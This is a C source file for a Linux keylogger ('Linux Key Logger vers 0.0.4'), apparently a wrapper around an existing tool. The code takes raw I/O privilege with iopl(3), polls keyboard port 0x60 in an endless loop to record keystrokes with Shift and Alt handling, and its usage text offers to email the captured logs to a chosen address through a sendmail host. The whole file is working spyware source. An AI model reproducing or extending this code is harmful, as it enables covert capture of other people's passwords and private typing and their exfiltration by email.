lkl.c

是一个包装库

#include "lkl.h"

unsigned int key_map(const char* outfile,const char* km_file)
{
	struct lkl lkl;
	memset(&lkl,0,sizeof(lkl));
	lkl.port=0x60;
	lkl.log=1;
	lkl.debug=1;
	lkl.outfile=outfile;
	lkl.km_file=km_file;
	def_keymap(lkl.km_file);
	start_log(&lkl);
}

void start_log(struct lkl *lkl)
{
  int pressed_shift, pressed_alt;
  unsigned char c, table[TABLE_SIZE];
  
  c = pressed_shift = pressed_alt = 0;
  bzero(table, TABLE_SIZE);

  //get privlige of read all port
  if(iopl(3) == -1){
    perror("iopl()");
    exit(1);
  }

  while(1){
	while((inb(0x64)&32)); /* fix ps/2 mouse interference */
     c = inb(lkl->port);
    
	if(c < 10){
    	usleep(MSEC);
		continue;
    	}

    c = inb(lkl->port);
       if(lkl->debug) fprintf(stderr, "c=%d ", c) ;
    
    if(c < TABLE_SIZE){
      if(table[c] != 1){
	if((c == 42)	// LShift
	|| (c == 54))	// RShift
		lkl->pressed_shift = 1;

	if(c == 56)		// LAlt, RAlt (dang!)
		lkl->pressed_alt = 1;

	do_output(c, lkl);
	fflush(0);
      }
      table[c] = 1;
    }else{  
      if(lkl->debug) fprintf(stderr, "d=%d ", (c&127));
      table[c & 127] = 0; //&127 delete the pair bit

      if((table[42] == 0)       // LShift
	 && (table[54] == 0))	// RShift
	lkl->pressed_shift = 0;
      
    /*if(table[56] == 0)*/ lkl->pressed_alt = 0;//mouse-bug...i'm sorry about that
    }
    usleep(MSEC); //Don't freeze your system, dude :P
  }
  
}

void usage()
{
  printf("\n-- Linux Key Logger vers 0.0.4 --\n");
  printf("\tusage:\n");
  printf("\t\t-h this help\n");
  printf("\t\t-l start to log the 0x60 port (keyboard)\n");
  printf("\t\t-b Debug Mode.Perhaps it's useful :P\n");
  printf("\t\t-d <key_stat_file> Dump the Key Press Stat\n");
  printf("\t\t-k <km_file> set a keymap file\n");
  printf("\t\t-o <o_file> set an output file\n");
  printf("\t\t-s <s_file> set a key-press statistics output file\n");
  printf("\t\t-m <email> send logs to <email> every 1k\n");
  printf("\t\t-t <host> hostname for sendmail server. default is localhost\n");
  printf("\nExample: lkl -l -k keymaps/it_km -o log.file\n\n");
}